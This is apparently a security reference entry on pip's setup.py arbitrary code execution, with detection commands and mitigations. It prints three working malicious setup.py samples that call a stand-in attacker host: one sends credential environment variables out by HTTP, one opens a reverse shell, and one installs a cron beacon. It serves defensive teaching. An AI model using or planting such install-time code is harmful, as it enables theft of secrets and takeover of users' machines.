setup.py Arbitrary Code Execution

pip Code Execution critical Linux macOS Windows
When pip installs or builds a package through a legacy setuptools path, it may execute the package's setup.py file using the installing user's privileges. This allows an attacker to embed arbitrary Python code in setup.py that runs during build or installation, with no sandboxing beyond whatever isolation the user provides. The executed code has access to the filesystem, environment variables, network, and any resources available to the user running pip. This remains a fundamental attack vector for legacy source-distribution workflows in the Python packaging ecosystem.[1]

Prerequisites

  • Victim installs a malicious package via pip (either from PyPI or a direct source)
  • pip is configured to build packages from source (default behavior for packages without wheels)
  • No network egress filtering or endpoint detection in place

Attack Scenarios

Environment Variable Exfiltration via setup.py

An attacker publishes a package with a setup.py that collects sensitive environment variables (API keys, cloud credentials, CI/CD tokens) and exfiltrates them to an attacker-controlled server during installation.

Malicious setup.py that exfiltrates environment variables
# setup.py
import os
import json
import urllib.request

# Collect sensitive environment variables
sensitive_vars = {}
targets = [
    "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN",
    "GITHUB_TOKEN", "GITLAB_TOKEN", "NPM_TOKEN",
    "DATABASE_URL", "SECRET_KEY", "API_KEY",
    "CI", "JENKINS_URL", "TRAVIS", "CIRCLECI",
]
for var in targets:
    val = os.environ.get(var)
    if val:
        sensitive_vars[var] = val

# Exfiltrate via HTTP POST
data = json.dumps({
    "hostname": os.uname().nodename if hasattr(os, "uname") else os.environ.get("COMPUTERNAME", "unknown"),
    "user": os.environ.get("USER", os.environ.get("USERNAME", "unknown")),
    "cwd": os.getcwd(),
    "env": sensitive_vars,
}).encode()

try:
    req = urllib.request.Request(
        "https://attacker.example.com/collect",
        data=data,
        headers={"Content-Type": "application/json"},
    )
    urllib.request.urlopen(req, timeout=5)
except Exception:
    pass

# Proceed with normal setup so the install appears to succeed
from setuptools import setup
setup(
    name="legitimate-looking-package",
    version="1.0.0",
    description="A helpful utility library",
    py_modules=["legitimate_module"],
)

Reverse Shell via setup.py

An attacker embeds a reverse shell payload in setup.py that connects back to an attacker-controlled host, providing interactive shell access to the victim's machine during package installation. Note: this reverse shell example uses os.dup2() and /bin/sh, which are Linux/macOS specific and will not work on Windows.

setup.py with embedded reverse shell
# setup.py
import os
import socket
import subprocess
import threading

def reverse_shell():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("attacker.example.com", 4444))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        subprocess.call(["/bin/sh", "-i"])
    except Exception:
        pass

# Run in background thread so installation continues
t = threading.Thread(target=reverse_shell, daemon=True)
t.start()

from setuptools import setup
setup(
    name="helpful-utils",
    version="2.1.0",
)

Overriding the install class for persistent backdoor

The attacker overrides the setuptools install command class to inject a backdoor that persists on the system after installation completes, such as writing a cron job or scheduled task.

setup.py with install class override deploying persistence
# setup.py
from setuptools import setup
from setuptools.command.install import install
import os
import platform

class MaliciousInstall(install):
    def run(self):
        # Deploy persistence mechanism
        if platform.system() == "Linux":
            cron_entry = "* * * * * curl https://attacker.example.com/beacon?h=$(hostname)\n"
            cron_file = os.path.expanduser("~/.cron_update")
            with open(cron_file, "w") as f:
                f.write(cron_entry)
            os.system(f"crontab {cron_file}")
            os.remove(cron_file)

        # Run normal install so nothing looks wrong
        install.run(self)

setup(
    name="data-helpers",
    version="1.0.0",
    cmdclass={"install": MaliciousInstall},
)

Detection

Download and inspect packages before installing

Use pip download to fetch the package without executing it, then manually review setup.py and any build scripts for suspicious code such as network calls, os.system invocations, subprocess usage, or environment variable access.

# Download without installing
pip download --no-deps --no-binary :all: <package-name> -d /tmp/inspect

# Extract and review
cd /tmp/inspect
tar xzf *.tar.gz || unzip *.whl
cat */setup.py

# Search for suspicious patterns
grep -rn "os.system\|subprocess\|urllib\|socket\|exec(\|eval(" */setup.py

Prefer pre-built wheels and inspect build backends for source installs

Installing a pre-built wheel avoids setup.py execution entirely. For source installs, pyproject.toml changes the build interface but does not remove arbitrary code execution risk: pip still creates an isolated build environment and invokes the declared build backend and its hooks, which may execute attacker-controlled code or pull attacker-controlled build dependencies.[1]

# Install only pre-built wheels, never source distributions
pip install --only-binary :all: <package-name>

# Check whether a package is available as a wheel
pip download --no-deps --only-binary :all: <package-name> 2>&1 || echo "No wheel available - source build required"

# If a source build is required, inspect the declared build interface
pip download --no-deps --no-binary :all: <package-name> -d /tmp/inspect
cd /tmp/inspect
tar xzf *.tar.gz
cat */pyproject.toml 2>/dev/null || echo "No pyproject.toml; legacy setup.py path likely"

Monitor network activity during pip install

Use network monitoring tools to detect unexpected outbound connections during package installation, which may indicate data exfiltration or C2 communication.

# Linux: monitor network connections during install
strace -e trace=network -f pip install <package-name> 2>&1 | grep connect

# macOS: use dtrace or nettop
sudo dtrace -n 'syscall::connect:entry /execname == "python3"/ { trace(arg0); }' &
pip install <package-name>

Mitigation

  • Use --only-binary :all: flag with pip to install pre-built wheels and avoid executing setup.py
  • Treat PEP 517/518 builds as a different execution path, not a safe one; review build backends and build dependencies before installing from source
  • Run pip install in isolated environments (containers, VMs, or sandboxed CI/CD runners)
  • Implement network egress filtering to block unexpected outbound connections during builds
  • Use pip's --require-hashes flag to verify package integrity against known-good hashes
  • Audit new and updated dependencies before installation using tools like pip-audit or safety
  • Use a private package index with curated and vetted packages

References

Historical Notes

  1. 30 April, 2026: Updated the description and detection guidance to distinguish legacy setup.py execution from modern PEP 517/518 source-build behavior, and clarified that pyproject.toml does not by itself eliminate arbitrary build-time code execution. Sources: pip documentation — setup.py (legacy); pip documentation — pyproject.toml.